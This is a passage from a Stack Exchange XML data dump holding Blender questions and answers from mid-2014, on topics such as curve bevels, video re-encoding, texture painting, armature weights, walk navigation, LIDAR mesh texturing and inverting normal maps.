  <row Id="13623" PostTypeId="1" AcceptedAnswerId="13624" CreationDate="2014-06-30T09:01:22.063" Score="2" ViewCount="255" Body="&lt;p&gt;I have a straight curve that's hooked with hooks at both ends to two objects. I'm creating the curve in python and applying the following to make it look like a cylinder in a python Bond-class (for a chemical bond between two atoms):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj.data.dimensions = '3D'&#xA;obj.data.fill_mode = 'FULL'&#xA;obj.data.bevel_depth = self.bevel_depth&#xA;obj.data.bevel_resolution = self.bevel_resolution&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works fine. Now I would need to be able make these into two or three &quot;cylinders&quot; to represent double and triple bonds as needed. These should stretch lengthwise as the atoms move closer or further apart, but they should stay otherwise unmodified. Any ideas how to do this as simply as possible in python?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could I use a bevel object on the curve, say a curve-object consisting of two circles? If yes, how do you control which point on the bevel object follows the curve?&lt;/p&gt;&#xA;" OwnerUserId="4940" LastEditorUserId="4940" LastEditDate="2014-06-30T09:35:08.110" LastActivityDate="2014-06-30T10:53:46.420" Title="One curve into two or three" Tags="&lt;python&gt;&lt;scripting&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13624" PostTypeId="2" ParentId="13623" CreationDate="2014-06-30T10:53:46.420" Score="0" Body="&lt;p&gt;You can totally duplicate your circle in Edit Mode on the Bevel Object. The origin of the Bevel Object is the point which follows the curve. you can Tilt the curve with &lt;kbd&gt;CTRL&lt;/kbd&gt; + &lt;kbd&gt;T&lt;/kbd&gt; to control its rotation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9NIDe.png&quot; alt=&quot;Multiple curves in Curve Data&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4979" LastActivityDate="2014-06-30T10:53:46.420" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13625" PostTypeId="1" CreationDate="2014-06-30T12:03:44.587" Score="0" ViewCount="1115" Body="&lt;p&gt;I finished rendering an animation with audio into the default H.264 lossy settings. I then realized the audio was 1 frame off and I also altered the song that I used in the video. So my two questions are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Is it possible to re encode the video with lossy compression after shifting the frames back, but have blender automatically use the same keyframes and what not, so that more quality is not lost?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If one is not possible, if I don't shift the frames and leave the video portion the exact same, but change the audio, is it possible to not lose quality by using the same lossy H.264 settings?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some clarifications:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;–I know I could render it with &quot;Lossless&quot; Checked, but I still want compression for the small file size&#xA;–Often I render it into an image sequence first since it is a good practice. I still would like to know this information in the case that I delete the raw images like in this case&lt;/p&gt;&#xA;" OwnerUserId="783" LastEditorUserId="2217" LastEditDate="2014-06-30T12:40:43.777" LastActivityDate="2014-06-30T12:50:32.623" Title="How to re-encode video without losing quality" Tags="&lt;animation&gt;&lt;workflow&gt;&lt;video-sequence-editor&gt;&lt;video&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13626" PostTypeId="2" ParentId="13592" CreationDate="2014-06-30T12:41:42.440" Score="1" Body="&lt;p&gt;If it is a pure python class then you can run it through the 2to3 as @Garreth mentioned, this will give you the python-3 equivalent in pure syntax updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the class has any Blender specific code, such as using the old &lt;code&gt;Blender module&lt;/code&gt;, this has been replaced with &lt;code&gt;bpy&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are creating an add-on, you will need to refactor your code to be registrable as a module. The &lt;code&gt;bl_info&lt;/code&gt;, register() &amp;amp; unregister()&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will also have to take into account the various api changes that have occured, &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;animation IPO system replaced with F-Curves&lt;/li&gt;&#xA;&lt;li&gt;BMesh &amp;amp; polygon based geometry system.&lt;/li&gt;&#xA;&lt;li&gt;Interface code is done though bpy types&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="175" LastActivityDate="2014-06-30T12:41:42.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13627" PostTypeId="2" ParentId="13625" CreationDate="2014-06-30T12:50:32.623" Score="4" Body="&lt;p&gt;The first option isn't a possibility. The second one, however, is. You should be able to de-multiplex the audio and video track and then re-package new audio with the video. FFMPEG is the program that I tend to use for this kind of task, but you'll need to be comfortable working from the command line. Depending on the OS you use, there may be easier tools for this.&lt;/p&gt;&#xA;" OwnerUserId="836" LastActivityDate="2014-06-30T12:50:32.623" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13628" PostTypeId="1" CreationDate="2014-06-30T14:15:21.613" Score="0" ViewCount="475" Body="&lt;p&gt;I downloaded a texture model for a tutorial and wanted to fiddle with the texture painting tools. I somehow got it to work, but after I updated blender to an newer version it stopped to work. Tried to reinstall both versions and take the clean file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;link to the blender file&#xA;&lt;a href=&quot;http://www.blendswap.com/blends/view/74021&quot; rel=&quot;nofollow&quot;&gt;http://www.blendswap.com/blends/view/74021&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help would be much appreciated &lt;/p&gt;&#xA;" OwnerUserId="5013" LastEditorDisplayName="user1853" LastEditDate="2014-06-30T16:19:05.200" LastActivityDate="2014-06-30T22:23:57.593" Title="Why can't I paint on an existing texture?" Tags="&lt;texturing&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13630" PostTypeId="1" AcceptedAnswerId="13631" CreationDate="2014-06-30T17:26:32.983" Score="2" ViewCount="149" Body="&lt;p&gt;I'm new to blender and I'm not sure how to approach the problem. &#xA;I like to work with orthogonal views;&#xA;I created a scene with a penguin, and the penguin is now facing an arbitrary direction.&#xA;However, I now need to fix the penguin's shoulders which are too big.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wish I could find a way to get some orthogonal views centered on my penguin (which has a mirror mode by the way) because I have a hard time editing the penguin using a non orthogonal view. &#xA;I did not found a way to set such custom view, so for now my workflow is to memorize the penguin's rotation values, then turn the penguin back to 0,0,0, then update, and finally re-rotate the penguin back to the desired angle. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works fine, but I wonder if there is a better approach to this problem ?&lt;/p&gt;&#xA;" OwnerUserId="5011" LastEditorUserId="2217" LastEditDate="2014-06-30T22:18:34.517" LastActivityDate="2014-06-30T22:18:34.517" Title="set the view centered on an object" Tags="&lt;interface&gt;&lt;3d-view&gt;&lt;shortcut&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13631" PostTypeId="2" ParentId="13630" CreationDate="2014-06-30T17:38:51.517" Score="3" Body="&lt;p&gt;This seems like a job for the basic view tools which are hotkeyed by default to the numpad.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just have a single large polygon with the same orientation as your model and then select it when you want to re-adjust your view press &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;NumPad 7&lt;/kbd&gt;, &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;NumPad 3&lt;/kbd&gt; or &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;NumPad 1&lt;/kbd&gt;&lt;/p&gt;&#xA;" OwnerUserId="1240" LastActivityDate="2014-06-30T17:38:51.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13632" PostTypeId="1" AcceptedAnswerId="13642" CreationDate="2014-06-30T17:46:00.110" Score="0" ViewCount="71" Body="&lt;p&gt;When I try to make an animation, evrything goes in one motion. For example lets say I have two objects. If I want to make one object to move, then make it stationary, and then the other to move, then make that one stationary, then on the first object the same process. I can't do that. If I try and do that, both of the objects will move together. How to do it?&lt;/p&gt;&#xA;" OwnerUserId="3398" LastActivityDate="2014-06-30T21:18:46.227" Title="How are animations done in blender?" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2014-06-30T22:29:42.173" ContentLicense="CC BY-SA 3.0" />
  <row Id="13634" PostTypeId="1" CreationDate="2014-06-30T18:00:33.400" Score="0" ViewCount="7931" Body="&lt;p&gt;My pose mode simply does not move the body, I tried weight painting and everything but it just  does not move. It's a simple creation, just a body made simple...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked at some other people is works and all, all it seems to do is press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt; &lt;em&gt;&gt; Automatic Weights&lt;/em&gt; but it does not move the body still.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something I noticed is when I use &lt;em&gt;Automatic Weights&lt;/em&gt; it creates many Vertex Groups called &lt;code&gt;Bone.XXX&lt;/code&gt;, but those groups are not assigned to anything. Should I find a way to assign them?&lt;/p&gt;&#xA;" OwnerUserId="5024" LastEditorUserId="1363" LastEditDate="2014-07-01T10:37:11.143" LastActivityDate="2014-07-01T12:43:31.203" Title="How to bind a model to an armature?" Tags="&lt;rigging&gt;&lt;armature&gt;&lt;vertex-groups&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13635" PostTypeId="1" CreationDate="2014-06-30T18:10:45.513" Score="3" ViewCount="2263" Body="&lt;p&gt;Is there a way to adjust the brightness and contrast on background images?&lt;/p&gt;&#xA;" OwnerUserId="3398" LastActivityDate="2014-11-06T22:50:09.793" Title="How to adjust brightness and contrast on background images?" Tags="&lt;interface&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13636" PostTypeId="1" AcceptedAnswerId="13639" CreationDate="2014-06-30T19:41:31.347" Score="3" ViewCount="30584" Body="&lt;p&gt;In video games, flying in the level is typically like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;kbd&gt;W&lt;/kbd&gt; - move forward;&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;S&lt;/kbd&gt; - move backward;&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;A&lt;/kbd&gt;,&lt;kbd&gt;D&lt;/kbd&gt; - move right/left without turning;&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Space&lt;/kbd&gt; - jump/ascend;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If I try this in Blender, it does not work (and in general makes some mysterious hard-to-undo changes when I press unknown keys).&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is there any easy mode for navigating the scene using video-game-like controls?&lt;/li&gt;&#xA;&lt;li&gt;Is there even mode video-gamish mode with gravity (towards the center of the closest big object) and clipping (not allowing point of view to become too close to some surfase)?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5026" LastEditorUserId="3127" LastEditDate="2014-06-30T21:25:45.853" LastActivityDate="2018-07-23T22:23:16.670" Title="Is it possible to nagivate Blender viewport like with WASD in a video game?" Tags="&lt;3d-view&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ClosedDate="2014-06-30T21:01:59.593" ContentLicense="CC BY-SA 3.0" />
  <row Id="13637" PostTypeId="1" CreationDate="2014-06-30T20:17:12.663" Score="3" ViewCount="4859" Body="&lt;p&gt;I'm new to blender and could not find this in help files. Can blender be used to drape a 2D image onto a 3D point cloud or mesh? If yes, can someone point me to a tutorial on that?&lt;/p&gt;&#xA;" OwnerUserId="5027" LastEditorUserId="2217" LastEditDate="2014-06-30T21:01:40.147" LastActivityDate="2014-06-30T22:32:30.430" Title="Draping 2D image over point cloud or mesh" Tags="&lt;mesh&gt;&lt;point-clouds&gt;" AnswerCount="3" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13638" PostTypeId="2" ParentId="13636" CreationDate="2014-06-30T20:36:40.410" Score="13" Body="&lt;p&gt;The shortcut is now &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;`&lt;/kbd&gt;, for `2.79` use &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;F&lt;/kbd&gt;. Then you can use &lt;kbd&gt;W&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt;. &lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2018-07-23T22:23:16.670" LastActivityDate="2018-07-23T22:23:16.670" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="13639" PostTypeId="2" ParentId="13636" CreationDate="2014-06-30T20:38:36.623" Score="6" Body="&lt;p&gt;Try the Walk and Fly navigation tools (shown in the image).  Walk, in particular, allows you to temporarily navigate using the WASD combination&#xA;&lt;img src=&quot;https://i.stack.imgur.com/40bol.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4942" LastActivityDate="2014-06-30T20:38:36.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13641" PostTypeId="2" ParentId="13637" CreationDate="2014-06-30T21:07:41.960" Score="1" Body="&lt;p&gt;To drape an image over a 3d mesh is easy.&#xA;First bring you image into blender, I'd use the import image as plane add on. Next, as gandalf3 said, use a shrink wrap modifier to drop it over the mesh. by doing that you can avoid any distortion that would occur when using the cloth simulator. &lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2014-06-30T21:07:41.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13642" PostTypeId="2" ParentId="13632" CreationDate="2014-06-30T21:18:46.227" Score="1" Body="&lt;p&gt;You would just need to add another keyframe for the second object that should stay on its current position until the first moving object has finished its movement. Otherwise the position of your second object would also be interpolated between the keyframes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this example the location of both objects is keyframed at frame 1 the sphere reaches its final location at frame 20. The cube stops at frame 42. To have the cube stand still another keyframe for the cubes starting position is added at frame 20.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nK2xh.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-06-30T21:18:46.227" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13643" PostTypeId="2" ParentId="13637" CreationDate="2014-06-30T21:36:24.307" Score="1" Body="&lt;p&gt;If you want to project camera data on to a LIDAR scan, I would use a third method:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Match your 3D camera to the position of the camera that took the photograph.&lt;/li&gt;&#xA;&lt;li&gt;Next select your mesh(LIDAR scan), and add a &lt;strong&gt;UVProject Modifier&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Set the projector to you camera you positioned in step one.&lt;/li&gt;&#xA;&lt;li&gt;Then set your image in the image box.&lt;/li&gt;&#xA;&lt;li&gt;Uv Unwrap your mesh(LIDAR scan), It does not matter how. Also change the UV option in the UV project modifier to match the name of the UV map you just created.&lt;/li&gt;&#xA;&lt;li&gt;Add a texture, and set the image to be your photograph. also set the UV map.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Done, your mesh(LIDAR scan) has been textured!&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2014-06-30T21:36:24.307" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13644" PostTypeId="1" AcceptedAnswerId="14453" CreationDate="2014-06-30T21:47:43.800" Score="5" ViewCount="1758" Body="&lt;p&gt;I have a resource file containing a model with materials and animation tracks (NLA action strips) that I want to re-use in another Blend file.&#xA;In the resource file I created a group containing the objects I wanted to re-use (excluding a ground plane, lights, cameras etc)&#xA;In my set file, I linked the resource file group to the scene as a group instance.  I've added other objects to the scene and created additional animation tracks.&#xA;When I play back the animation, the linked object starts playing its animation track at frame zero.&lt;br&gt;&#xA;I'm looking for a way to offset or stall playback of the linked files animation track in the set files timeline.  Is that possible?&#xA;If not, is there another way I could re-use my resource file objects and animation in a way that allows me to update the set file if the resource file changes?&#xA;I've attached links to files that can serve as an example in this case:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/qdkqh6fgu80hxiv/linked_ani_set_file.blend&quot; rel=&quot;noreferrer&quot;&gt;https://www.dropbox.com/s/qdkqh6fgu80hxiv/linked_ani_set_file.blend&lt;/a&gt;&#xA;&lt;a href=&quot;https://www.dropbox.com/s/oh3wirvbh02znrt/linked_ani_resource_file.blend&quot; rel=&quot;noreferrer&quot;&gt;https://www.dropbox.com/s/oh3wirvbh02znrt/linked_ani_resource_file.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4942" LastEditorUserId="2217" LastEditDate="2014-06-30T22:04:28.977" LastActivityDate="2015-06-10T20:15:29.927" Title="How do I offset animation start in a linked blend?" Tags="&lt;animation&gt;&lt;groups&gt;&lt;linked-data&gt;&lt;nla-editor&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13645" PostTypeId="1" CreationDate="2014-06-30T22:08:19.927" Score="2" ViewCount="11629" Body="&lt;p&gt;is it possible to export to &lt;code&gt;.mdl&lt;/code&gt; or &lt;code&gt;.mdx&lt;/code&gt; files?&lt;br&gt;&#xA;If yes, tell me the exact way please. Me and my friend are working on a Warcraft map, but Warcraft only imports &lt;code&gt;.mdx&lt;/code&gt; or &lt;code&gt;.mdl&lt;/code&gt; files and blender can't export this kind of files.&lt;/p&gt;&#xA;" OwnerUserId="5029" LastEditorUserId="2217" LastEditDate="2014-06-30T22:12:59.360" LastActivityDate="2014-07-01T10:34:02.750" Title="is it possible to export .mdx and .mdl files?" Tags="&lt;export&gt;&lt;file-format&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13646" PostTypeId="2" ParentId="13628" CreationDate="2014-06-30T22:23:57.593" Score="1" Body="&lt;p&gt;Make sure the the image editor is in &lt;em&gt;paint&lt;/em&gt; mode. There is a dropdown box in the header, that will change the mode. By default it is set to &lt;em&gt;view&lt;/em&gt;, so no painting.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/YBfuR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-06-30T22:23:57.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13647" PostTypeId="2" ParentId="13637" CreationDate="2014-06-30T22:32:30.430" Score="1" Body="&lt;p&gt;I've done this kind of thing before-adding an orthoquad photo as a texture on surface mesh to make a realistic land form. The crucial step is going to be converting that Lidar data into a TIN surface (triangulated irregular network) that you can then export as a mesh to Blender.&#xA;If your LIDAR data comes from a survey firm, then the best option is to ask them to create a DXF file for you. &#xA;You can then open that in DRaftsight (it's free: Draftsight.com) and export it to STL-which you can then import into Blender.&#xA;Another option: I found a web portal that says registration is free and that members have access to Lidar conversion tools that can craete DXF or Collada files. Here is their URL: &lt;a href=&quot;https://www.lidar-online.com/users-login.php&quot; rel=&quot;nofollow&quot;&gt;https://www.lidar-online.com/users-login.php&lt;/a&gt;&#xA;Finaly, If you acquired the point data from one of the public domain USGS sites (like LaBIns.org) then check to see if you can get the data in DEM format.  The DEM is a zip file containing amoung other things, a raster image of a displacement map.  Elevation values are represented as shades of gray.  change the file extension to .zip so that you can view it in your file system.  Extract that and then you can apply image as a displacement modifier to a plane, or wire it to the displacement channel of your ground-plane material&#xA;One final bit of advice on using these files in Blender.  Before you import them, you need to be sure of your units and precision settings.  Cadastral data is usually georeferenced using special coordinate systems.  Your data set could come in very far from the origin in your scene or might be expressed in lattitude/longitude, so you should move and scale your data after you import it.&lt;/p&gt;&#xA;" OwnerUserId="4942" LastActivityDate="2014-06-30T22:32:30.430" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13648" PostTypeId="1" AcceptedAnswerId="13649" CreationDate="2014-06-30T22:40:23.787" Score="7" ViewCount="17111" Body="&lt;p&gt;I have a normal map which is 'looking in a wrong direction' and I would like to get exactly opposite effect that this map gives in my Cycles render. Is it possible?&lt;/p&gt;&#xA;" OwnerUserId="1311" LastEditorUserId="2217" LastEditDate="2014-06-30T22:44:35.553" LastActivityDate="2017-01-26T08:01:18.363" Title="Is it possible to invert normal maps in cycles" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="13649" PostTypeId="2" ParentId="13648" CreationDate="2014-06-30T23:31:13.800" Score="11" Body="&lt;h2&gt;Bump map&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;For a bump map you can just drop in a &lt;em&gt;invert node&lt;/em&gt; between the bump image and the &lt;em&gt;bump&lt;/em&gt; node.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Normal map&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;For a normal map you can separate the RGB color channels and invert just the red and the green channels. Like in the image below.&lt;br&gt;&#xA;&lt;sub&gt;click image for full size&lt;/sub&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/g6FmI.png&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/g6FmI.png&quot; alt=&quot;nodes&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2014-06-30T23:36:45.850" LastActivityDate="2014-06-30T23:36:45.850" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13650" PostTypeId="2" ParentId="13619" CreationDate="2014-06-30T23:59:26.483" Score="1" Body="&lt;p&gt;I've had some luck with this workflow, it still needs some polishing though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The steps are as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Choose a surface to deform(in this case the plane) &lt;/li&gt;&#xA;&lt;li&gt;Use cell fracture add-on to brake up the plane (Note that you should probably add a solidify modifier to it first).&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a hook modifier to the plane object for every generated fracture (very important... and tedious). It can help to create a vertex group for each shard and then just go into weight paint mode loosely paint that shard onto the plane.&lt;img src=&quot;https://i.stack.imgur.com/EHjKm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Turn off gravity in properties panel under the scene settings, this is vary important for the simulation to work properly (also because metal deformation isn't really effected by gravity it shouldn't be of much consequence).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If we are going to deform metal then we need something to deform it with. A sphere will work fine for know (any object will work). After you have an object then set it as a rigid body object in the physics, then check the animated check box:&lt;img src=&quot;https://i.stack.imgur.com/xV8Io.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Now we need to animate the sphere, Of course the animation part is all up to you (so long as the sphere intersects the plane). This is what I did, add a keyframe on the first frame in a high position, then add another keyframe on about frame 15 with the ball intersecting the plane.&lt;/li&gt;&#xA;&lt;li&gt;Set the shards as rigid body objects.&lt;/li&gt;&#xA;&lt;li&gt;Now it's time to run the simulation. Make sure that the shards, sphere and plane objects are all on the same layer(or at least visible), and press play. You will probably need to stop it around frame 12 or so before the dents get to deep and weird looking.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;And here is the final result!&#xA;&lt;img src=&quot;https://i.stack.imgur.com/CBki3.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Hope this helps someone out there, it took me awhile to figure it out and it still needs polishing but I think that it has a lot potential.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;blend file link: &lt;a href=&quot;https://www.dropbox.com/s/hbzlxw9n0b0lua5/metal_deformation_example.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;example blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2387" LastEditorUserId="2217" LastEditDate="2014-07-01T20:21:16.037" LastActivityDate="2014-07-01T20:21:16.037" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13652" PostTypeId="1" CreationDate="2014-07-01T06:45:24.773" Score="3" ViewCount="194" Body="&lt;p&gt;Many parameters have restricted ranges and if you input a value higher than the maximum, it'll snap back to the maximum value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Examples include: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;speed&lt;/code&gt; in a fluid simulation is limited to 100.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;energy&lt;/code&gt; of a lamp is limited to 10.&lt;/li&gt;&#xA;&lt;li&gt;etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is there any way to override these restrictions?&lt;/p&gt;&#xA;" OwnerUserId="1112" LastEditorUserId="55" LastEditDate="2014-12-28T22:19:13.827" LastActivityDate="2014-12-29T01:13:58.670" Title="Override range number buttons" Tags="&lt;python&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="13653" PostTypeId="2" ParentId="13645" CreationDate="2014-07-01T07:15:07.957" Score="2" Body="&lt;p&gt;You could try the &lt;a href=&quot;https://github.com/CruzR/Blender-MDL&quot; rel=&quot;nofollow&quot;&gt;Blender-MDL&lt;/a&gt; addon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also listed in official import/export extension section of the documentation at &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Import-Export/WarCraft_MDL&quot; rel=&quot;nofollow&quot;&gt;wiki.blender.org&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="1363" LastEditDate="2014-07-01T10:34:02.750" LastActivityDate="2014-07-01T10:34:02.750" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13654" PostTypeId="2" ParentId="13652" CreationDate="2014-07-01T09:04:56.210" Score="4" Body="&lt;p&gt;In short, there is no way to override internal limits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However blender has 2 limits per setting:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;soft-limits: which is for number button mouse motion&lt;/li&gt;&#xA;&lt;li&gt;hard-limits: allow you to type in more extreme values, but there still is a limit.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These let you enter lamp energy of &lt;code&gt;10000000.0&lt;/code&gt; for eg.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-12-29T01:13:58.670" LastActivityDate="2014-12-29T01:13:58.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13656" PostTypeId="2" ParentId="3643" CreationDate="2014-07-01T10:25:20.723" Score="0" Body="&lt;p&gt;If you read the answers give you will see something important. These brushes have input from a Wacom pad such as the brush angle, pressure and location. I think it might change more if you have these inputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also set the rotation of the texture manually if you look at the nettings in the N settings area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More importantly, try these two brushes with a texture using a picture of a white lines on a black background. Make sure that your dynamic texture is on and set to 1 pixel (yes it might overload older computers so go with 5 or so). With brush you will not see much happening but with sculpt draw you will see your texture on your mesh. A huge difference!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Douglas E Knapp. Hope this helps! Email me if you have questions.&lt;/p&gt;&#xA;" OwnerUserId="12972" LastActivityDate="2014-07-01T10:25:20.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13658" PostTypeId="2" ParentId="13634" CreationDate="2014-07-01T12:43:31.203" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Should I find a way to assign them?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes. If the vertex group option is checked:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fRXZZ.png&quot; alt=&quot;armature modifier&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the weight paint mode to change the weights of the &lt;strong&gt;active vertex group&lt;/strong&gt; (current selection in the properties panel):&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jZuJn.png&quot; alt=&quot;weight paint&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assign/Remove the selected vertices to/from the active vertex group in the properties panel:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/LR9su.png&quot; alt=&quot;vertex group properties panel&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and change their weights in the viewport:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/99Wa1.png&quot; alt=&quot;viewport edit mode&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2271" LastActivityDate="2014-07-01T12:43:31.203" CommentCount="0" 